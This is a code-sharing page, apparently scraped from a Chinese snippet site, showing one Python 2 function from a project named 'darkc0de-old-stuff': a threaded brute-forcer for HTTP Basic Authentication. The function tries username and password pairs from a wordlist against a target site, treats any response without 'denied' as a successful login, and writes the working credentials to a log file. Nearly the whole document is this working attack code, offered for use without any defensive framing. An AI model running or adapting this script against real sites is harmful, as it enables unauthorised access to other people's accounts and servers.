webauthbrute_random_usersupport.py 文件源码

python
阅读 28 收藏 0 点赞 0 评论 0

项目:darkc0de-old-stuff 作者: tuwid 项目源码 文件源码
def threader(site):
    username, password = getword()
    global logins
    try:
        print "-"*12
        print "User:",username,"Password:",password
        req = urllib2.Request(site)
        passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
        passman.add_password(None, site, username, password)
        authhandler = urllib2.HTTPBasicAuthHandler(passman)
        opener = urllib2.build_opener(authhandler)
        fd = opener.open(req)
        site = urllib2.urlopen(fd.geturl()).read()
        print "\n[+] Checking the authenticity of the login...\n"
        if not re.search(('denied'), site.lower()):
            print "\t\n\n[+] Username:",username,"Password:",password,"----- Login successful!!!\n\n"
            print "[+] Writing Successful Login:",sys.argv[5],"\n"
            logins +=1
            file = open(sys.argv[5], "a")
            file.writelines("Site: "+site+" Username: "+username+ " Password: "+password+"\n")
            file.close()            
            print "Retrieved", fd.geturl()
            info = fd.info()
            for key, value in info.items():
                    print "%s = %s" % (key, value)
        else: 
            print "- Redirection\n"
    except (urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg: 
        print "An error occurred:", msg
        pass
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号